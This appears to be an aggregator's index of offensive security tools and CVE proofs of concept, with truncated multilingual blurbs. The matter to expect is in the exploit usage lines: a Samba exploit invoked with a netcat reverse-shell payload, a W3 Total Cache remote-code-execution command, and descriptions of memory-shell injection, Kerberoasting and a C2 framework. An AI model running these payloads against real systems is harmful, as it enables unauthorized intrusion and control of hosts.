kata-cve-2020-2023-poc

kata-cve-2020-2023-poc 1. 再現環境 注: 環境は KVM のサポートが必要です。 https://github.com/ssst0n3/dockerarchive/tree/branchubuntu-20.04docker-ce-19.03.11containerd.io-1.4.9kata-1.11.0 root@kitploit: $ git clone https://github.com/ssst0n3/dockerarchive.git $ cd dockerarchive $ git checkout...

openssl-ccs-cve-2014-0224

Adam Langley による OpenSSL CVE-2014-0224 のテストツール、 元はこちらで公開されています: https://www.imperialviolet.org/2014/06/05/earlyccs.html ツールをビルドするには: root@kitploit: $ export GOPATH=$pwd $ go build openssl-ccs-cve-2014-0224.go go 1.2.2 および 1.3 でテスト済み。 src/my-tls ディレクトリには、パッチ適用済みの crypto/tls パッケージが含まれています。...

HazProne

Hazprone HazProne is a Cloud Pentesting Framework that emulates close to Real-World Scenarios by deploying Vulnerable-By-Demand aws resources enabling you to pentest Vulnerabilities within, and hence, gain a better understanding of what could go wrong and why!! The framework helps gain practical,...

cve-2019-17240

Bludit = 3.9.22 - ブルートフォース緩和策のバイパス これは、このPythonスクリプトをGolangで書き直した小さなプロジェクトです。このプロジェクトの目的は、Go言語を学び、このエクスプロイトがどのように機能するかを理解することでした。 使い方 root@kitploit: $ ./brutepass -sdasds flag provided but not defined: -sdasds Usage of ./brutepass: -c int Threads default 5 default 5 -l string Hostname eg...

w3-total-cache-cve-2013-2010

w3-total-cache-cve-2013-2010 W3 Total Cache CVE-2013-2010 上でのリモートコード実行 使い方: python3 w3tcrceexploit.py -u http://example.com -p "system'whoami';" 出力: 対象: http://example.com + ペイロードが正常に送信されました。 + ターゲットでペイロードの実行を確認してください。 import requests import argparse def exploitrcetargeturl, payload: """Exploit t...

CVE-2021-26855-PoC

CVE-2021-26855-PoC 针对 CVE-2021-26855 的 PoC 漏洞利用代码。 原始代码由 https://github.com/GreyOrder 开发。 CVE-2021-26855 SSRF 简单利用的 golang 练习 受影响版本 root@kitploit: Exchange Server 2013 低于 CU23 Exchange Server 2016 低于 CU18 Exchange Server 2019 低于 CU7 使用条件 此漏洞不同于以往的 Exchange 漏洞。该漏洞不需要可登录的用户身份，无需授权即可获取内部用户资源。它可以与...

openclaw-security-monitor

OpenClaw 安全监控器 为 OpenClaw 部署提供主动安全监控、威胁扫描和实时可见性。检测来自 ClawHavoc 活动（824+ 恶意技能）、AMOS 窃密木马 、Vidar 信息窃取器 、GhostSocks 代理恶意软件、ClawJacked WebSocket 暴力破解、工作区插件自动加载攻击、共享认证范围提升、批准重放/完整性绕过、供应链攻击、内存投毒、日志投毒、浏览器中继劫持、TAR 路径遍历、SSRF、SHA-1 缓存投毒、MCP 工具投毒、SANDWORM 蠕虫传播、170 项安全建议 和 500+ CVE 的威胁。 为什么存在 2026年1月底，安全研究人员发...

CVE-2024-36401-WoodpeckerPlugin

CVE-2024-36401-WoodpeckerPlugin はじめに CVE-2024-36401 のバッチ検出と利用、カスタムメモリーシェル注入をサポート 1. バッチ検出可能 2. URLアドレスのバックエンドは既にフィルタリング済み（URLをそのまま送るだけで良い） 3. カスタム生成したメモリーシェルを注入可能（デフォルトのメモリーシェル注入にはインジェクタークラス名が追加されています: java.lang.test 「目的はJDK11でのdefineAnonymousClassバイパス」） インストール ソースコードをダウンロードして実行 root@kitploit: mv...

targetedKerberoast

targetedKerberoast targetedKerberoast は、他の多くのツール（例: GetUserSPNs.py）と同様に、SPN が設定されたユーザーアカウントの「kerberoast」ハッシュを出力できる Python スクリプトです。 このツールには以下の追加機能があります。SPN を持たない各ユーザーに対して、SPN を設定しようと試み（servicePrincipalName 属性への書き込み権限の悪用）、その「kerberoast」ハッシュを出力し、その操作のために設定された一時的な SPN を削除します。これは Targeted Kerberoastin...

CVE-2019-12409

CVE-2019-12409 Apache Solr RCE ENABLEREMOTEJMXOPTS="true" root@kitploit: root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true"...

cve-2019-1040-scanner

Escáner de CVE-2019-1040 Comprueba la vulnerabilidad CVE-2019-1040 sobre SMB. El script establecerá una conexión con el/los hosts objetivo y enviará una autenticación NTLM inválida. Si esta es aceptada, el host es vulnerable a CVE-2019-1040 y puedes ejecutar el ataque MIC Remove con ntlmrelayx. T...

Winshark

Winshark Wireshark の Windows イベントトレーシング Event Tracing for Windows 用プラグイン Microsoft Message Analyzer は廃止され、そのダウンロードパッケージは 2019 年 11 月 25 日に microsoft.com サイトから削除されました。 Wireshark は膨大なネットワークプロトコルディセクタライブラリを備えています。 Windows に最適なツールは、あらゆる種類のログを収集・混合できるものです。 Winshark の登場です!!! Winshark は ETW Event Tracin...

dirsearch

DirSearch This software is a Go implementation of the original dirsearch tool written by Mauro Soria. DirSearch is the very first tool I write in Go, mostly to play and experiment with Go's concurrency model, channels, and so forth : Purpose DirSearch takes an input URL -url parameter and a...

dirsearch

DirSearch 该软件是 Mauro Soria 所写原始 dirsearch 工具 的 Go 语言实现。 DirSearch 是我用 Go 写的第一个工具，主要用于尝试和实验 Go 的并发模型、通道等 : 目的 DirSearch 接受一个输入 URL（ -url 参数）和一个字典（ -wordlist 参数），然后使用字典中的行作为路径和文件，并发执行 HEAD 请求，从而爆破 Web 服务器上的目录和文件。 它支持自定义文件扩展名（ -ext，默认为 php）及其他可选参数： root@kitploit: Usage of dirsearch: -200only 如果启用，将只...

dsiem

Dsiem Dsiem is a security event correlation engine for ELK stack, allowing the platform to be used as a dedicated and full-featured SIEM system. Dsiem provides OSSIM-style correlation for normalized logs/events, perform lookup/query to threat intelligence and vulnerability information sources, an...

dsiem

Dsiem Dsiemは、ELKスタック向けのセキュリティイベント相関エンジンであり、このプラットフォームを専用かつフル機能のSIEMシステムとして利用できるようにします。 Dsiemは、正規化されたログ/イベントに対してOSSIMスタイルの相関を提供し、脅威インテリジェンスや脆弱性情報ソースへのルックアップ/クエリを実行し、リスク調整されたアラームを生成します。 Features...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 実装 説明 Samba 3.0.20 IP - リモートマシンの IP。 PORT - オプション SMB が動作しているポート。 PAYLOAD - リモートマシンで実行するペイロード。例: リバースシェル。 例: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' リソース CVE-2007-2447: Remote...

network-fingerprint

network-fingerprint 捕获某个端口和/或 IP 的数据包请求/响应对，以辅助创建基于网络协议的 Nuclei 模板。 资源 安装说明 使用方法 运行 network-fingerprint 输出格式 使用方法 root@kitploit: ▶ network-fingerprint -h 这将显示工具的帮助信息。你可以在下方找到所有支持的开关： 标志| 描述 ---|--- 安装说明 network-fingerprint 需要 go1.17+ 才能成功安装，并且系统上需要安装 libpcap-dev。 安装 libpcap-dev： root@kitploit: ▶...

CloudBrute

CloudBrute 企業（ターゲット）のインフラ、ファイル、アプリを主要クラウドプロバイダー（Amazon、Google、Microsoft、DigitalOcean、Alibaba、Vultr、Linode）上で見つけるためのツールです。 その成果は、バグバウンティハンター、レッドチーム、ペネトレーションテスターのいずれにも役立ちます。 完全な解説記事はこちらで入手可能です。 一目で 動機...

endgame

ENDGAME C2 FRAMEWORK ENDGAME es un framework profesional de comando y control construido para compromisos autorizados de red team, pruebas de penetración e investigación educativa en seguridad. Diseñado para simular técnicas realistas de adversarios, evaluar la cobertura de detección y ayudar a l...